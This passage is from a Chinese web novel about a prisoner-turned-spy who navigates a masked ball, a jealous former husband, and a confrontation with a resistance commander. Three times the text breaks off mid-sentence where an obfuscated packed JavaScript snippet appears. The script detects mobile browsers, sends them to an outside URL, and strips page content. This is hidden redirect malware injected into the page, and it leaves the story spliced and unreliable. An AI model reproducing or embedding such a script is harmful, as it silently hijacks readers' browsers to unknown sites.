法蒙目光慢慢扫过台下形形色色的人,心中有些躁郁。 他好不容易决定乖顺一把,今天没有任何发作和忤逆,但到了这个环节叶眠却不在,而要他随便指一名女性跳舞,又太违背本心。 法蒙刚准备开口,这时,舞厅大门突然被一只素手推开。 几乎有一半的人都转过头去,然后他们就看到了那个带着孔雀面具的女人。 跟几小时前分开的时候没什么变化,法蒙的视线遥远而紧迫,但叶眠大方地推门而入,仿佛完全没有时间观念,也不知道她让整个首都星站位最高的那些人硬生等了半分钟。 法蒙唇角微动。 “希望我没有来晚,”叶眠提着裙摆,优雅地向法蒙走来,声音清亮,与平常略有不同,“德里克先生。” “不,你来得刚刚好。” 法蒙走下高台,微微俯首,抬起她的一只手,虚虚一贴,然后双手交握,另一只手揽住她的腰,不引人注意地微微用力。 叶眠顺从地往前,垂首,跟着法蒙踩进了舞步的第一拍。 人群里的李东垣木了。 孔雀女? 德里克继承人的舞伴? 这一刻,她的所有行为一下子有了新的解释——她的高傲,她的玩笑,她的意有所指,她的点到为止。 冷汗悄悄泅湿了后背。 李东垣不敢再看,他藏起自己惊骇的视线,假装无事发生地往人群里躲去。 卡门·德里克站在台上,他用的俯视视角,评判审阅的眼神混在好奇的众人之间,其他人看的是他们两个,他眼里却只有那个奇怪的女人。 ——他今晚在上四楼的时候碰到过她。 进入特殊电梯必须要特殊权限,也就是说,法蒙给她分享了跟自己平齐的权限。 那么下一个问题,她是谁? 不止卡门,在场有不少男男女女心里都有这个疑问,一个神秘的继承人,出场却指明了一位女伴,大概相当于公开他的私人关系,如果过度解读,甚至可以理解为联姻已定,合作在即之类的信号。 人群中,有两位比较特殊。 陆风在看到她推门而入的时候就怔住了,舞曲进行到一半,他依然觉得不可置信。有一瞬间他想拿出终端,确认一下叶眠有没有老实地呆在基地,但身后就是值岗的服务生——实际上是德里克的警卫人员——他不能暴露。 他不解,然后回想起这几日叶眠的言行举止,感受到一种后置的、被欺瞒的怒火。 她为什么不说? 她为什么会认识法蒙? 法蒙为什么会选她作为自己的舞伴,在这种场合、用那种眼神,跟她跳第一支舞?! 有一瞬间,陆风手指一动,几乎要直接动用异能。 但是,不行。 这个身份算是他所有手牌里藏得最深的一个,名义上还有妻儿,手下更是联通着人际暗网,那些都是反抗军情报部门的探子,但一发而动全身,他不能轻举妄动。 所以,就只能这么看着吗? 看着他们相拥,看叶眠沉浸地微笑,看他们穿着那仿佛情侣装的礼服,在所有人眼前共舞。 陆风咬死了后牙,几乎尝到血腥味。 是的,他只能这么看着。 眼里烧着不会被轻易盖灭的火,他想:我等着。 另一位,则是仗着亡父余威受到邀请的蒋钰。 他对跳舞不感兴趣,对德里克继承人也不感兴趣,其实本来就没想来这场活动,只是老管家苦苦劝他,说他要撑起蒋仕临的场子, 周围人都站着,只有他坐着,那一身优雅贵气,比起诸人只高不低。 蒋钰戴的是一件由暗色宝石拼接成的独眼面具,一只眼睛露在外面,张扬到只要认识这个人,就不会认不出他。一晚上有不少人过来与他攀谈,他厌倦这种应酬,只觉得一个个都不长眼,看不出他的火气。 现在他手里拿了杯酒,有一搭没一搭地品着,本来想着熬到第一支舞结束就离开,但所有的从容都在那个女人出现时,裂开了一道缝隙。 熟悉。 非常熟悉。 致命的熟悉。 咽下最后一口酒,酒杯无声地落到桌子上。 他想起来了,是他的妻子,那位应该在C监服刑的女囚徒。 好看的眼睛里闪过一丝犹疑,让那张焊在脸上的温文面具有一瞬消失,显出几分阴鸷之色。他转动着手指上的戒圈,开始回忆上次听说那人的消息是什么时候。 好像已经是十几二十多天前了。 他以为她已经死了。 朝夕相处两年,蒋钰自认为已经很熟悉叶绵绵的身形和性格,这位小姐嫁入他们家一天福没享过,地位跟家里的女仆差不多,性格懦弱到被当狗使唤也没什么怨言,除了对蒋仕临的拼死一击…… 蒋钰的脸色越来越难看,漂亮的嘴唇被抿成直线。 此时此刻,他并没有100%确认,在灯光和目光聚焦下翩翩起舞的那个女人就是叶绵绵。但只要是这么想一想,他就感觉心里仿佛有万蚁啮咬——她只配跪在他脚下低眉顺眼地做事,怎么敢、怎么能到这种地方,甚至跟德里克的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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叶眠说:“我不太理解,法蒙先生。” 她的口红被他蹭到了外面,似乎有些狼狈,可实际上她可比他冷静太多太多。 叶眠微微用力把人推开,带着一点惶恐的语气说:“我以为我们是合作关系,你帮我离开C监,我帮你传递反抗军内部的消息,但这个吻,先生,你把我当成什么了?” “今天有很多人看到你,叶眠,”法蒙的眼睛仿佛照不进光的黑洞,“等今天结束之后,很多人会来查你的身份。” 有面具遮挡,叶眠就靠想象补全他的上半张脸:眉头压着,像是坠着石头、要把人拽进无底的深渊,眉心浅浅的竖纹,负隅顽抗地保持着冷硬的上位者姿态…… 法蒙深深地吸了一口气,仿佛一场自己跟自己的无形斗争终于落到结局。 “我在考虑我对你的欣赏,或许不止合作,不止上下级,而是更进一步的,更深刻的,”他语气微微发干,但又有种隐秘到连自己都没察觉的期冀,“对我来说,非常罕见的。” 叶眠心里几乎要笑出声,她甚至想:你知道我本来准备在这里对你做什么吗? 下药和暗杀,法蒙,你真该庆幸。 而表面上,叶眠眨着眼睛,十分茫然地问:“那是什么呢?” 告诉我,是什么呢? 36. 第 36 章 法蒙在部队里曾经有一位战友,他说自己有未婚妻,等他退伍就结婚,还满脸幸福地跟他们说,他跟未婚妻一见钟情,两人是生理性喜欢。 法蒙不理解。他觉得所谓生理性喜欢无非是激素作用,难听点说就是精虫上脑,有自制力的人不可能会被这种状态控制。 战友知道他脾性,不跟他争,只是一脸坠入回忆的表情:“你没遇到过,不会懂的。我爱她的全部,她不用香水我也觉得她像个香软小蛋糕,只要我们呆在一起就会想拥抱亲吻,各种意义上都很合得来,包括身体,你懂吗?她美好得就像天使,我们之间是百分百的契合。” 后来,战友死在帝国跟联盟的交战前线。 葬礼上,法蒙见到了那位身穿黑群的未婚妻,苍白、寡淡,身材矮小,丝毫不引人注目。 六个月后,她就跟另一个人结婚了,战友的死亡似乎并没有给她的人生蒙上什么阴霾,因此法蒙认定,“生理性喜欢”,那不过是爱情给人的幻想。 然后,他遇到了叶眠。 直到今天法蒙才后知后觉地理解,他跟叶眠的每次接触,似乎都在加深一些东西,而那些隐秘的感情和冲动如同一层一层累加叠成的蛛网,无声无息地逼近,终于把他紧紧黏住,再也不能脱身。 什么卧底,什么下属? 他想要她成为他的。 只是他的。 叶眠很想听法蒙自己承认,她觉得,等到他肯承认内心的那一天,就是她可以随便拿捏这个男人的那一天。 他的自尊、他的手段、他的势力、他的钱……不过这些都是附带的,她从没忘过自己最想要的东西——她的自由。 相比起蓄谋已久的暗杀,这种结局似乎更好看一些。 法蒙看着她的眼睛,没有第一时间说话。他伸手摸了摸她的头发,稍微压下心中的狼狈和汹涌澎湃的意图。 他开口,没有正面回答:“我只是有点后悔了。” 后悔什么? 叶眠奇迹般地理解了他的意思——后悔让自己回到陆风身边卧底。 叶眠继续装傻,迟疑地说:“抱歉,我还是不太理解。” 他在进门的时候拽下了她的面具,自己却依然藏在假面之后。眼下他把她的面具扣回脸上:“不需要理解,你只要知道,最晚到反抗军换届,你就可以离开陆风了。” “你想杀他吗?”法蒙的手落在她手臂上,带着一点热度,两人距离依然近到出格,他放任自己行动,跟她隔着面具,额头相贴。 “我觉得这样不合适,法蒙。”叶眠轻轻地叫了他的名字,伸手去勾他的面具系带,被他一把抓住手腕。 “怎么不合适?不想杀他?”法蒙手指微动,从手腕滑到她掌心,五指钻入她的指缝,仿佛亲密恋人的十指相扣。 叶眠已经有点演不下去了:“你知道我说的不是陆风,他根本无所谓。” “对,就是这样,”法蒙微微后撤,语气竟然出奇的温和,顺着她的话说,“他真的无所谓。” 趁这个机会,叶眠把手挣松了一点,换了个认真的口吻:“他对我来说无所谓,那如果你的家人要跟陆风联手呢?” “不知所言。”法蒙说,摩挲着她的手指,“德里克再不济也不会跟反抗军联手。” “是我亲耳听到的,”叶眠语气微急,“都什么时候了,你家的事,你不应该比我更清楚?” 法蒙被她带的一乐:“你从哪听的消息?” 叶眠几乎不反抗的举动仿佛给了他一些鼓舞,他还在想:可能叶眠真的觉得无所谓,所以也不会在乎他曾经把她当成卧底工具。 结果,叶眠不客气地打破了他的感觉良好:“我在四楼听的,窃听器放在外平台,你现在去找,应该还能找到。” 法蒙一愣,看起来脑子终于回到了该在的地方:“四楼?内会客室的外平台?你去那做什么?” “这不重要,反正我听到了是一个老头和一个老太,说汤姆森准备给你使软手段,另外两个也准备暗杀你,最后他俩干脆准备亲自联系陆风的儿子,”叶眠说完,又补了一句,“你清醒点吧。” 法蒙确实有些冲动,但还没有不理智到完全暴露自己,既然今天拉扯下去也是没营养的扯皮,叶眠就不想跟他浪费时间了。 法蒙睫毛微动。 “根据我之前从反抗军基地里窃取的珍贵资料,陆峰跟德里克确实有过短暂合作。”法蒙冷静下来,也没拿叶眠当外人,“他们一起捣毁了一个非法实验基地,里面关了几百个异能天赋B级以上的孩子。” 叶眠:该不会是我偷的那份资料吧? 法蒙继续说:“但是从那之后就没有任何瓜葛了,因为提议合作的,是我父母,两个不计较出身和能力的理想主义者。” 他语气微涩:“艾文和安娜,他们去世了。” 家族会议上卡门给法蒙看的信,就是这对夫妻生前跟陆峰的通讯。信里没什么有实际价值的信息,但对比了私戳,确实是亲笔。 安娜每年都会去死星和垃圾星探访,私下接济一些比较困难的家庭和孤儿组织,机缘巧合发现了那个藏在盆地中的巨大基地,于是主动联系了军事力量前去解救实验体。 “根据反抗军的资料,那一方‘军事势力’,其实就是反抗军。” 法蒙进入状态比叶眠想得要快,叶眠心道:果然对于这些人来说,不论是他还是陆风,感情什么的,还是不如事业重要啊…… 法蒙说:“我怀疑我父母的死亡背后有反抗军手笔,但是在知道他们曾经合作后,现在反而有些不确定了。” 叶眠想起陆风的眼睛:“反抗军内部不和平,陆峰也死了,说不定确实如你所想,只是动手的不是陆峰这一边呢?” 法蒙点头:“所以最重要的还是换届,我会摸清他们的地点,提前部署,一网打尽。” 他嘴角微抿,话里流露肃杀之意。 叶眠耸肩:“那么今天就这样?” 法蒙手指微蜷。他想要一个确切的答案,已经做到这一步了,他心知自己已经无路可退。但,有时候对方的回避就已经说明了一切。 他想,没事,还有时间,叶眠并不在意陆风,等陆风死后,他们会有很多的时间。 叶眠整理了一下裙摆,德里克家的天之骄子就这么直勾勾地看着她,明明什么动作都没有,却硬是表达出了一种生硬的挽留。 你留你的,我走我的。 叶眠微微一笑,就在准备推门而出的时候,她突然停下脚步,转身,最后问了一遍:“法蒙,这个,你不准备给我解开,对吗?” 法蒙薄薄的嘴唇一动,眼中有冲动,有挣扎,还有不信任。 “好了,不必再说。” 叶眠心中叹息:这次真的给你机会了。 她戴稳那副华丽的孔雀面具,确保刚刚的短暂交锋没有留下太多痕迹,随后拉开休息室的门,穿过走廊,重新回到楼下。 舞会正式开始,觥筹交错,有几对宾客在舞池中跳舞,但更多的都留在舞池之外,交流着对那位德里克的猜想和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259210|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揣测。 叶眠本想避人视线,然而,她刚拿起一杯侍者托盘中的香槟,一个身影便挡住了去路。 来人戴着镶嵌宝石的独眼面具,露出的那只眼睛紧紧锁住她,即使隔着面具,叶眠也能感受到那目光中混杂的审视、惊疑,以及一丝不易察觉的……被冒犯的怒意? 他微微倾身,用一种刻意压低的、只有两人能听清的音量开口,声音里带着他惯有的柔和,却因为奇特的态度而显得有些紧绷: “这位小姐的舞姿,令人印象深刻。” 叶眠心中微提,但面上丝毫不显。 她再次体验到了“故人重逢应不识”的憋闷:……你是谁? 叶眠晃了晃杯中金黄的液体,语气轻描淡写,甚至带点被陌生人打扰的疏离:“谢谢。抱歉,您是?” 蒋钰的嘴角似乎抽动了一下,他显然不信她没认出他,或者说,他不信“叶绵绵”认不出他。 “一面之缘或许不足挂齿,”蒋钰的目光落在她纤细的、空无一物的手指上,语气愈发意味深长,“只是觉得小姐格外眼熟,像极了一位……故人。” “哦?”叶眠挑眉,面具下的红唇勾起一抹玩味的弧度,“看来您那位故人,肯定也是位美人吧。这夸奖我收下了。” 她四两拨千斤,完全不上套。 蒋钰眼底的阴鸷之色更浓。他向前逼近半步,试图营造压迫感:“她确实‘曾经’很有风姿,不过后来做了些蠢事,如今怕是早已容颜凋零,在某个不见天日的地方赎罪。” 这话几乎是明示了。 叶眠翻尽所有记忆,终于找到了一个疑似能对得上号的家伙。 ——蒋钰。 那位跟她之间横贯杀父之仇的少爷。 叶眠淡定地想:看来蒋钰也已经起疑,但无法确定自己就是叶绵绵。 不过他这个态度,是不是有点太暧昧了?不是杀父仇人吗? 她故作惋惜地叹了口气:“那真是可惜了。不过,这位先生,在舞会上一直谈论另一位女士,恐怕不太礼貌吧?尤其是对您的女伴而言。” 叶眠的目光意有所指地扫过他身后,那里站着一位等候半天的女士,此刻正咬着红唇眼带哀怨,不知道跟蒋钰是什么关系。 蒋钰被她不软不硬地顶了回来,脸色更难看了。 “我没带舞伴,”蒋钰偏过头,冷淡而厌烦地对那位女士说,“滚。偷听这么久,还要我请你离开吗?” 叶眠在心中“啧”了一声。 蒋钰习惯了叶绵绵的逆来顺受,此刻这种带着刺的、游刃有余的陌生姿态,让他极度不适,却又抓不到任何把柄,总不能在这里直接掀开她的面具,或者大喊“你是我那该死在监狱里的妻子”吧? 他深吸一口气,终于撕破了一点温文的伪装,语气带上了居高临下的命令:“你究竟是谁?” 叶眠孔雀面具后的眼睛平静无波,甚至带着一丝怜悯:“我是德里克先生的舞伴。这个答案,您满意吗?蒋钰先生。” 她点破了他的身份,语气平淡得像在说今天天气不错。 蒋钰脸色阴得仿佛酝酿风暴的大海,他怒极反笑:“好,好,我倒要看看你到底是谁,小姐。你最好把尾巴都藏好,不然……” “就等着被我抓回身边,尝尝违背主人的后果吧。” 蒋钰走了,叶眠脑子里把他的最后一句话狠狠地咀嚼了一下。 如果她没理解错的话……叶绵绵竟然还有角色扮演的癖好吗? 主仆play??? 37. 第 37 章 叶眠提前离场、换掉礼服,刘仁把她直接送回了反抗军基地外。 她不太想碰到陆风,因为解释起来太麻烦,于是特意打了个时间差,想避开人。 从商场下到基地内部,房门刚关上,还没来得及开灯,一股强大的力量便猛地将她按在了门板上! 黑暗中,熟悉的气息包裹了她,带着压抑的怒火和一丝不易察觉的……恐慌。 是陆风。 他呼吸粗重,喷在她颈侧,手臂如铁钳般箍着她的手臂,力道大得几乎要捏碎骨头。 “你去哪了?”他的声音沙哑得厉害,每个字都像是从牙缝里挤出来的。 叶眠没挣扎,只是很快适应了黑暗,看着眼前男人模糊的轮廓,甚至有些疑惑的样子:“怎么了?” 陆风低笑一声,笑声里带着些许嘲意:“怎么了?你要让我说吗?德里克的第一支舞,嗯?你知道多少人都在讨论你吗?” 他认出来了。叶眠心想。 “对方突然邀请,我不好拒绝。”她言简意赅,试图用抽离冷静的态度平息他的怒火。 “不好拒绝?” 陆风的手指抚上她的脸颊,指尖带着薄茧的粗糙,仿佛下一秒就要磨破她的脸皮:“我看着你们跳舞,看着他对你……叶眠,你知不知道他看你是什么眼神?” 他的语气看似平静,却有种触及崩溃边缘的疯感。那种所有物被觊觎、甚至可能失去的恐惧,混合着被欺瞒的愤怒,几乎要将他点燃。 “你觉得我不懂吗?嗯?” 那是跟我看你一样的眼神。他在心中说。 只是这话说不出口,如果可以,他连想都不愿想。 叶眠默了一下。 “说话,叶眠。” 她能感受到陆风身体绷得发紧,虽然没有流露杀意,但如果处理不好,恐怕会很难看。 “陆风,”她叫了他的名字,声音和缓,带着安抚,“没事,你看,我回来了。” “没事?”陆风几乎是低吼出声,他猛地低下头,呼吸交错,气氛陡然变得暧昧而危险,“叶眠,我要的是解释。” 告诉我一切。 从头到尾,为什么你们认识,为什么他会邀请你跳舞,你们之间有什么联系,以后还会不会见面…… 所有的细节,一字不漏地告诉我。 然后说,你心里只有我。 一直,只有我。 “我给你机会解释,叶眠。” 陆风微微闭了闭眼,努力平复呼吸,抬手击出一缕风,精准地按开了室内的灯光。 叶眠趁他后撤,单手勾过挎包,借着取东西的姿势,给自己手臂快准狠地来了一针。 如果冲突在所难免,她不想束手就擒。 灯亮起来,两人之间的气氛却没有缓和。陆风在等,执着地等,等她开口。 叶眠叹了口气,心想怎么都得拖到药效发作,她指了指沙发:“我们坐下说吧。” 陆风感受到一种如同等候宣判的凌迟,叶眠却在他迫人的注视下先给自己倒了杯水。 在他即将坐不住的时候,叶眠终于喝完了,平和地说:“你想知道什么,你问,我答。” “为什么会跟法蒙认识?” 叶眠实话实话:“在C监,他是典狱长。” “我问的不是见面,”陆风上身前倾,双手交叉,目光紧紧地锁着她的眼睛,“你们的交情,从哪天、哪件事开始?” “因为我想活,陆指挥。” 说出这句话,叶眠由衷地感觉通体舒畅。 她想,这次可是你亲自把刀子递到我手里的。 “因为我二判死刑,孤立无援,而你在外面无动于衷,从头到尾。” “但我想活。” 陆风的呼吸骤然一停,那双深棕色的眼睛里涌上一些颤抖的痛意,复杂得像是大海里最难解的暗潮。 “法格里布根本不想管胖子,是典狱长出手,我才能获得假释,”她向后靠了靠,坐姿松散,“没有他,我现在早就长眠在C监处刑场了。” “他凭什么帮你?”陆风咬着牙问。 “你想听什么答案?嗯?他对我见色起意,然后我无以为报、所以出卖自己?” 叶眠没有正面回答,只一个字一个字往他心里扎,扎得毫不犹豫,扎得大快人心。 陆风断然否认:“法蒙不近女色,不可能。” “你知道生理性喜欢吗?”叶眠稍微靠近一些,点了点他的胸膛,“不是你我这种……是更爆裂澎湃的渴望,来自生物本能的吸引,像某种化学反应,在他意识到之前,一这种冲动就已经存在了。” 不因身份和背景而顾虑,不因地位或品德而动摇,在法蒙仍认为叶眠是一个可有可无的女死囚时,疯狂的种子就已经埋下。 叶眠走神一瞬,想起在天空之脊的那场偶遇。 那时追着她质问的法蒙,和现在这个急于求证的陆风,冥冥之中都落到了同样的位置,为情所困、被动而无助,不过法蒙还能留一分体面,陆风的话…… 陆风呼吸再起变重,嘴里好像有血腥气涌上,他再次控制不住地闭上眼,只因不想露出一丝一毫的脆弱和痛苦。 是的,他当时没肯救叶绵绵。 这是他亲手做的因,而现在的一切,都是他的果。 “那我们这些天,从C监出来,到今晚,”他连开口都有些困难,像是真被刺伤了一样,甚至不敢抬眼看她,“都是假的吗?失忆,你说想要认识我、了解我,晚上我们一起睡……都是假的吗?” 叶眠几乎要可怜他了。 “不全是,”她语气和缓,带着种温柔的无情,“失忆是真的,我说叶绵绵死了,没骗你呀。” 陆风猛然抬头。 叶眠继续说:“想认识你自然是真的,毕竟我不认识你,肯定要亲自评判一下,至于为什么一起睡……” “陆指挥,你并没有给我别的选择呀?”叶眠笑了,好像她说的这些都不是在故意扎他的心,“就像没给死刑临头的叶绵绵一个选择一样,你也没给过我机会呀。” 拥有的时候不珍惜,直到失去了才开始痛啊、悔啊,只可惜他犯的错,不会再有人包容他一笔勾销了。 陆风以为,今晚会是一场对不忠之人的质询。 现在才知道,被质询的不忠之人不是叶眠,而是他自己。 他眼圈悄悄红了,叶眠伸手摸了摸他的眼角,动作很轻,像是有些怜惜:“别哭。” “他,让你来杀我吗?” 这句话仿佛要把他的心撕开,但陆风偏偏就是想问,哪怕只咬着最后一口气了,也还是想问。 “你想替他杀了我吗?” 他语气执着,却不知道自己已经狼狈到了极点,活像被赶出家门的狗,不肯走,呜呜咽咽地在门外等,仿佛只要等下去,就能等到人的怜悯。 眼白上带了红血丝,陆风的眼里只盛着一个叶眠,一个能一句话判他活、一句话判他死的叶眠。 叶眠和善地说:“现在的话,不想。” 她稍微凑近,陆风下意识闭上眼,把呼吸压到清浅,感受她摸过自己的眼睛,摸掉了自己眼角一点微不可察的潮湿。 叶眠在心里叹了口气。 如果她足够无情,现在就应该直接下杀手。 可是她天生好人牌,看人哭得好看就会心软。 “别哭了,陆指挥。” 她说。 “叶绵绵只是死了,又 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16259211|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是不爱你了。” 陆风手指攥拳,深深地掐进手心里。有几秒呼吸声完全消失,像是一座寂静了几百年的雕像,被人从最里边敲碎了。 叶眠松手起身准备让他静一静,没想到手腕又被抓住。 “叶绵绵死了,那你是谁?”陆风问,一个字一个字地往外吐,“你不是叶绵绵的话,还能是谁?” 叶眠有点惊讶,他竟然还不死心。 “我是叶眠啊。” “你也喜欢我的眼睛,”陆风仿佛抓住了最后一根稻草,“你也喜欢看……看我哭。” 叶眠悄悄看了一眼藏在桌腿后面的酒瓶子,心想等陆风醒了,回头想起把自尊都掰碎了扔地上踩两脚只为了让她回头的行径,恐怕得难受到把知情人都宰了泄愤。 陆风浑然不觉。 叶眠站着,他坐着,于是他只能仰视,把自己的一切暴露无遗。这些话他说得艰难,但他觉得,如果今天不说,可能以后就没机会了。 “你确实变了。” 你只是不会再为情所困了。 “但人总不可能,不可能一下子变成另一个人的。我们都认识,这么多年了,从基地救出你的时候,你才那么大点……一直到现在,我怎么会认不出你呢。” 陆风有些哽咽,他固执地睁着眼,死死抓着她,恨不得把她忘记的过去,一点一点塞回她脑子里。 “我不可能认不出你的,”他克制地拉过她的手,在没有感受到反抗后,贴上自己胸口,“你听啊。” 心跳的速度隔着皮肉传到她掌心,叶眠简直要有些感动了,但那种醉氧的感觉出现,她清楚,药效发作了。 现在,一次难得的机会摆在她眼前。 只要她动动手指,一线绝对零度就可以刺破陆风的心脏,但作为代价,她会有几秒钟完全失去失去意识。 如果杀不了陆风,她就得死。 要动手吗? 叶眠的犹豫落在陆风眼里就成了动摇,他继续说:“我们可以去以前的一起走过的地方,试试能不能找回记忆,叶眠,如果你愿意,我们甚至可以从死星开始,好吗?” 死星? 联系到“从基地救出你”,叶眠眼神稍微一动。 “陆风,别这样,”她松了口,一只手摸了摸他发胶还没处理干净的头发,“你去洗个澡,冷静一下。” “你要走吗?” 陆风眼睛一亮,但随即又暗下去,让叶眠再次想到犬类。 “我不走,去吧。” 陆风被她推进了浴室,水声响起。叶眠坐回到沙发上,深深地叹了口气。 死星。 她都快忘了自己离奇的梦,还有无可追溯的身世。 等陆风出来说不定还有一番拉扯,叶眠放松身体,又突然想起蒋钰。 那位爱玩主仆play的大少爷,背靠前审判长,虽然是个草包,但不知道现在手里势力还有多少。 最好问问陆风,蒋钰跟前身又是什么关系,然后提前准备好…… 叶眠想着想着,竟然开始犯困。 一看时间已经到了半夜十二点,她一晚上也是劳心费力,确实有点疲倦。 眯一会儿吧……现在的陆风应该不会对我起杀心了。 毕竟他比她还坚信叶眠就是叶绵绵,刚大彻大悟追悔莫及的男人,指不定能做出什么挽留的事呢。 连你爱看我哭都说出来了,啧…… 念头从成型到落地好像只有一瞬间,可叶眠再睁眼的时候,自己已经被好好地塞进被窝里。 她茫然地眨了眨眼,一转头,对上陆风一双蕴含无限复杂情绪的眼睛。 叶眠:好像睡过了。 陆风看起来已经酒醒了。 38. 第 38 章 “几点了?”叶眠哑着嗓子问。 陆风看了眼时间:“三点。” 凌晨三点。 叶眠希望时间能倒退回到陆风会趁着两分醉意、说话好听还掉眼泪的那个阶段,所以她缓慢地闭上眼又睁开,无事发生。 陆风眼里的红血丝只多不少,叶眠偏着头,问:“你一直没睡?” 他单手撑着侧脸,语气自然:“在看你,睡得挺香的。” 人看起来平静了很多,也没有要情绪反扑的迹象。叶眠不由问:“都记得?” 陆风反问:“记得什么?” 两人对视间,气氛无形黏稠。 “记得你跟法蒙的那点破事,还是你一直因为我见死不救而怀恨在心?”陆风说,“都记得。只是一瓶红酒而已。” 他这么平静,反而有点让叶眠拿捏不准了。 “那你怎么想呢?”叶眠索性把话摊开说,“你都知道了,我现在对你没什么感情,甚至可能跟法蒙有一腿,那你准备怎么处理我呢?” “你也说了只是可能,”陆风不为所动,仿佛之前失态的根本不是他,“感情淡了也还能再培养,胖子还在基地里等着见那些法格里布,你不会绝情到一走了之吧?” 他语气笃定,叶眠没否认。 “你要用胖子挟制我吗?”叶眠换了个姿势,定定地看着陆风的表情。 陆风端详着她的神色:“我知道你不喜欢束缚,叶眠,其实叶绵绵也是这样……” “你确定要说叶绵绵吗?”叶眠把手从被子里伸出来,两根手指夹住他的睡衣领子,微微一扯。她没用力气,但暧昧中隐隐带着威胁。 “你总要知道的。她是什么人、做过什么事、招惹过什么角色……而这些我都知道,只要你想听,我都可以告诉你,”陆风抓住她的手,恰好是她使劲就能挣开的力道,“比如,蒋钰。” 叶眠眉梢一跳,没动。 陆风看她反应,叹息一样地说:“你一点都不记得了。” 这个表情太复杂,叶眠甚至能分辨出一丝后悔,但她完全摸不着头脑,只说:“这个倒是,叶绵绵留下的尾巴都得处理干净。到换届之前,我都不会走。” 比起陆指挥的后知后觉和患得患失,叶眠可没忘了,自己还打了一份工。 她的承诺说完,陆风手指瞬间失控一缩,但他立刻意识到自己太用力:“抱歉。” 态度不错,像是被顺毛了。叶眠也不觉得自己是什么捏一下就会碎的玻璃制品,随口应:“嗯。” 短暂沉默,陆风忍不住问:“那他呢?法蒙就这么放你回来吗?” 叶眠品鉴着他这句话的语气,向他确认:“你在担心吗?” 陆风抿了抿唇。 叶眠耐心地等着,在安静气氛似乎要持续到地老天荒的时候,陆风干涩地开口了:“我担心他对你不利。” 孺子可教,没说什么“不想你移情别恋”之类的蠢话。 叶眠奖励一样地笑了下,把上半身撑起来:“不管你信不信,其实我想杀法蒙是真的。他手里拿着我的禁制环钥匙,只要异能一天没恢复,他随时都能遥控取我狗命。” 陆风垂下眼睛,思索片刻,抬头说:“我帮你。” “怎么帮我?”叶眠立刻说。 “你跟他私下里有联系吧?反抗军换届,他只要知道就不可能不出手,你把消息放给他,然后我们做二级预判。” 陆风依然握着她的手指,语气涩得仿佛划过砂纸:“或者你愿意告诉我,你之前,都跟他说过什么了吗?” 陆风本来就是很会拿捏距离的人,他主动把自己放进了下位者、被动方的角色,因为如今的叶眠只能接受这种情况。 现在,她跟他甚至可能算不上朋友。 果然叶眠露出点不好意思的表情:“我跟他说过一嘴,你眼睛好像有问题,但具体的就没提了。” 一知道就立刻告诉他了吗?陆风想到这里,甚至需要克制呼吸,缓慢地忍过那一阵钻心的痛麻。 他想起叶绵绵,那个无论何时都向他交付最高忠心的人……伙伴、搭档…… 爱人。 “什么时候?”陆风顿住,仿佛一口气从唇缝里溜走,“算了。” 再问下去就不合适了,他知道,她也知道。 叶眠笑了下,继续他们之前的商讨:“那你现在有什么初步计划吗?” “换届前一个月,反抗军母舰会把坐标发到我们手里,在此之前,哪怕是指挥使,除了进攻组的人也无法获知母舰的去向。”陆风说,“反抗军的军队随母舰四方出征,但一直没被联盟彻底击垮的原因就在这里。” 叶眠了然地说:“所以我们就先等着。” “是,等着,”陆风说,“换届之前我还有别的事要做。” “什么?” “我可以信任你吗,叶眠?”他突然问。 “当然可以,”叶眠说,“我们互不加害,也没有什么开不了口的图谋,你不用把我当趁手的工具,我也不用假装你去世的爱人,对吧?” 她眼神坦坦荡荡干干净净,却像是在陆风心口又扎了一刀。 “……对,”他困难地开口,带着点装不下去的勉强,“你说得对。” 陆风眼睛干涩,嘴唇也有种缺水的感觉。话说到这里就说不下去了,叶眠看着他放下眼皮,好像呼吸都有些痛苦。 “所以?”她好脾气地问。 “所以,我之后可能不会经常在基地,”陆风再次抬眼,好像再次整理好了自己,“我得清查一遍情报部门的人,法蒙的手,伸太长了。” “这条可以说吗?”叶眠问完就意识到,他那句“可以信任吗”指的就是这里,于是善解人意地说,“好,这条不说。” 陆风有些不知道用什么表情面对她才好,他说:“你简直像个法蒙派来的卧底。” 叶眠推他一下,半真半假地说:“毕竟我的色诱没有成功,况且我混在他那边其实也听到了一些风声,你想知道吗?” 叶眠并不介意分享。水越浑浊,她越好摸鱼。 “比如?”陆风配合地问。 “德里克家族内部并不和睦,法蒙有不少同辈眼红他的位置,所以暗杀之类的手段层出不穷,”叶眠察言观色,觉得这大概都是他知道的事情,于是更进一步,“但我听到的消息说,德里克的长辈也准备对他下手,老爷子可能会想来联系你。” 陆风有点没理解:“联系我?” “你父亲,陆峰,应该跟德里克家族合作过?”叶眠试探性地问。 “啊,”陆风短促地应了一声,随后说,“但他们的合作很短,就干了一件事,说起来,跟你还有点关系。” 轮到叶眠有些茫然了:“我?” 